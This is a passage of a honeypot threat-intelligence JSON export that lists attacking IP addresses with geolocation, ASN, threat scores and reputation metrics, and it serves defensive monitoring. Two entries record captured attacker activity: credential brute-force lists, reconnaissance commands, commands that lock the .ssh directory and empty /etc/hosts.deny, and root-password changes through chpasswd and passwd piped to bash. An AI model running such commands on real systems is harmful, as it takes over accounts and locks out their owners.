      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T11:54:43.284000+00:00",
        "last_seen_30d": "2026-05-17T11:55:58.383000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "150.5.135.108": {
      "attack_count": 2,
      "first_seen": "2026-05-07T14:17:11.404Z",
      "last_seen": "2026-05-07T14:17:42.090Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T14:17:11.404000+00:00",
        "last_seen_30d": "2026-05-07T14:18:45.274000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "182.115.64.215": {
      "attack_count": 2,
      "first_seen": "2026-05-04T19:04:03.334Z",
      "last_seen": "2026-05-04T19:04:16.394Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:04:03.334000+00:00",
        "last_seen_30d": "2026-05-04T19:05:18.065000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.119.198.244": {
      "attack_count": 2,
      "first_seen": "2026-05-10T18:42:04.870Z",
      "last_seen": "2026-05-10T18:42:16.917Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhengzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T18:42:04.870000+00:00",
        "last_seen_30d": "2026-05-10T18:43:24.818000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.158.17.43": {
      "attack_count": 2,
      "first_seen": "2026-05-19T15:10:30.126Z",
      "last_seen": "2026-05-19T15:10:43.754Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T15:10:30.126000+00:00",
        "last_seen_30d": "2026-05-19T15:11:45.637000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.248.207.194": {
      "attack_count": 2,
      "first_seen": "2026-05-17T03:55:46.492Z",
      "last_seen": "2026-05-17T03:56:01.300Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 23106,
      "as_org": "AMERICAN TOWER DO BRASIL-COMUNICACAO MULTIMIDIA LT",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T03:55:46.492000+00:00",
        "last_seen_30d": "2026-05-17T03:57:01.925000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "188.243.7.85": {
      "attack_count": 2,
      "first_seen": "2026-05-30T11:16:52.824Z",
      "last_seen": "2026-05-30T11:17:05.849Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "St Petersburg",
      "asn": 35807,
      "as_org": "SkyNet Ltd.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T11:16:52.824000+00:00",
        "last_seen_30d": "2026-05-30T11:18:13.647000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "195.161.114.163": {
      "attack_count": 2,
      "first_seen": "2026-05-22T16:22:12.696Z",
      "last_seen": "2026-05-22T16:24:12.698Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 8342,
      "as_org": "JSC RTComm.RU",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T16:22:12.696000+00:00",
        "last_seen_30d": "2026-05-22T16:34:21.046000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "195.184.76.133": {
      "attack_count": 2,
      "first_seen": "2026-05-27T08:34:01.585Z",
      "last_seen": "2026-05-27T08:34:04.590Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 77.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 90,
        "days_active_30d": 28,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T04:48:14+00:00",
        "last_seen_30d": "2026-05-29T07:55:20.238000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 33,
        "Cowrie": 2,
        "Miniprint": 1
      }
    },
    "195.7.10.90": {
      "attack_count": 2,
      "first_seen": "2026-05-16T17:42:01.156Z",
      "last_seen": "2026-05-16T17:42:13.948Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": null,
      "asn": 208324,
      "as_org": "Noor Al-Bedaya for General Trading, agricultural investments, Technical production and dist",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T17:42:01.156000+00:00",
        "last_seen_30d": "2026-05-16T17:43:14.870000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.114.168.238": {
      "attack_count": 2,
      "first_seen": "2026-05-14T13:41:16.431Z",
      "last_seen": "2026-05-14T13:41:29.029Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "San Pedro Pochutla",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T13:41:16.431000+00:00",
        "last_seen_30d": "2026-05-14T13:42:33.298000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.158": {
      "attack_count": 2,
      "first_seen": "2026-05-19T16:45:54.010Z",
      "last_seen": "2026-05-19T16:46:24.687Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 67.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.0,
        "persistence": 22.5,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 27,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-05T20:15:43.503000+00:00",
        "last_seen_30d": "2026-05-31T04:09:27.095000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Honeytrap": 4,
        "Cowrie": 2,
        "ConPot": 1
      }
    },
    "223.181.96.140": {
      "attack_count": 2,
      "first_seen": "2026-05-07T03:12:35.912Z",
      "last_seen": "2026-05-07T03:12:48.722Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T03:12:35.912000+00:00",
        "last_seen_30d": "2026-05-07T03:13:54.076000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "24.103.107.141": {
      "attack_count": 2,
      "first_seen": "2026-05-29T16:23:23.889Z",
      "last_seen": "2026-05-29T16:23:36.913Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 12271,
      "as_org": "Charter Communications Inc",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T16:23:23.889000+00:00",
        "last_seen_30d": "2026-05-29T16:24:40.641000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.227.50.115": {
      "attack_count": 2,
      "first_seen": "2026-05-14T21:05:26.109Z",
      "last_seen": "2026-05-14T21:05:38.006Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Quilicura",
      "asn": 264838,
      "as_org": "INVERSIONES MYJ LTDA",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T21:05:26.109000+00:00",
        "last_seen_30d": "2026-05-14T21:06:40.386000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.238.121.28": {
      "attack_count": 2,
      "first_seen": "2026-05-28T14:06:53.575Z",
      "last_seen": "2026-05-28T14:08:53.591Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 42.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.3,
        "persistence": 7.5,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 9,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-23T00:18:06+00:00",
        "last_seen_30d": "2026-05-31T08:09:47.250000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "58.54.32.205": {
      "attack_count": 2,
      "first_seen": "2026-05-23T04:49:01.338Z",
      "last_seen": "2026-05-23T04:49:15.126Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T04:49:01.338000+00:00",
        "last_seen_30d": "2026-05-23T04:50:16.357000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.13.117.104": {
      "attack_count": 2,
      "first_seen": "2026-05-17T11:35:17.183Z",
      "last_seen": "2026-05-17T11:35:30.008Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T11:35:17.183000+00:00",
        "last_seen_30d": "2026-05-17T11:36:32.834000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.196.152.145": {
      "attack_count": 2,
      "first_seen": "2026-05-13T07:34:43.882Z",
      "last_seen": "2026-05-13T07:34:43.884Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 6.7,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 8,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T07:51:05+00:00",
        "last_seen_30d": "2026-05-15T10:30:38.338000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Honeytrap": 4,
        "Cowrie": 2
      }
    },
    "91.230.168.187": {
      "attack_count": 2,
      "first_seen": "2026-05-05T20:04:25.363Z",
      "last_seen": "2026-05-05T20:04:25.535Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 75.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.1,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 25,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-05T05:11:08+00:00",
        "last_seen_30d": "2026-05-29T22:03:01.249000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 35,
        "Dionaea": 3,
        "Cowrie": 2
      }
    },
    "91.231.89.65": {
      "attack_count": 2,
      "first_seen": "2026-05-09T12:30:08.609Z",
      "last_seen": "2026-05-09T12:30:18.931Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 76.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 28,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T04:58:07+00:00",
        "last_seen_30d": "2026-05-29T14:07:18.373000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 46,
        "Honeytrap": 30,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "147.182.230.54": {
      "attack_count": 1216,
      "first_seen": "2026-05-12T05:31:25.167Z",
      "last_seen": "2026-05-17T16:34:54.207Z",
      "sessions": 608,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 2064,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T05:31:25.167000+00:00",
        "last_seen_30d": "2026-05-17T16:35:57.960000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1216,
        "Suricata": 848
      }
    },
    "4.211.84.189": {
      "attack_count": 497,
      "first_seen": "2026-05-09T00:20:31.309Z",
      "last_seen": "2026-05-19T22:33:51.113Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "postgres",
        "Ubuntu",
        "admin1",
        "ali",
        "alireza",
        "claude",
        "es",
        "ftpuser",
        "git",
        "gitea",
        "guest",
        "hadoop",
        "oracle",
        "testftp",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!qa@ws3ed",
        "098",
        "1234",
        "12345678",
        "1234qwer",
        "123guest",
        "123qweasd",
        "1qaz@WSX",
        "P@55w0rd",
        "Pass123456",
        "PassWord",
        "Password",
        "Password01",
        "admin!@#$%^",
        "adminadmin",
        "bacula",
        "bitches",
        "calimero"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:6O6srAJNg7N3\"|chpasswd|bash",
        "echo \"root:gvG1QRty3xs2\"|chpasswd|bash",
        "echo \"root:mSAWNeg2bdcm\"|chpasswd|bash",
        "echo \"root:qniHwRCLPEiW\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 613,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T00:20:31.309000+00:00",
        "last_seen_30d": "2026-05-19T22:35:00.933000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 497,
        "Suricata": 116
      }
    },
    "209.141.47.217": {
      "attack_count": 493,
      "first_seen": "2026-05-03T21:18:10.360Z",
      "last_seen": "2026-05-31T21:44:10.418Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "admin",
        "mcadmin",
        "wan",
        "administrator",
        "autrede",
        "bitrix",
        "cardano",
        "deploy",
        "deployer",
        "djangoadmin",
        "git",
        "gpadmin",
        "guest",
        "guestguest",
        "maint",
        "mysql",
        "odoo11"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "1",
        "121314",
        "123123",
        "12345",
        "12345678",
        "1234567890",
        "Aa112233",
        "Admin123",
        "Passw0rd",
        "Password1",
        "Test123!@#",
        "a",
        "access",
        "admin",
        "admin1234567890",
        "adminimda"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nzYui46rCcZTp\\nzYui46rCcZTp\\n\"|passwd",
        "echo \"Passw0rd\\nDCWAzaq4W1Ph\\nDCWAzaq4W1Ph\\n\"|passwd",
        "echo \"mcadmin\\nyPdcE0T3ICIz\\nyPdcE0T3ICIz\\n\"|passwd",
        "echo \"passwd\\nfWIvcC3QavlC\\nfWIvcC3QavlC\\n\"|passwd",
        "echo -e \"123\\nzYui46rCcZTp\\nzYui46rCcZTp\"|passwd|bash",
        "echo -e \"Passw0rd\\nDCWAzaq4W1Ph\\nDCWAzaq4W1Ph\"|passwd|bash",
        "echo -e \"mcadmin\\nyPdcE0T3ICIz\\nyPdcE0T3ICIz\"|passwd|bash",
        "echo -e \"passwd\\nfWIvcC3QavlC\\nfWIvcC3QavlC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 64.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.8,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 609,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T21:18:10.360000+00:00",
        "last_seen_30d": "2026-05-31T21:54:14.765000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 493,
        "Suricata": 116
      }
    },
    "60.18.11.132": {
      "attack_count": 484,
      "first_seen": "2026-05-21T06:57:44.293Z",
      "last_seen": "2026-05-22T09:44:02.953Z",
      "sessions": 242,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 732,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:57:44.293000+00:00",
        "last_seen_30d": "2026-05-22T09:45:06.821000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
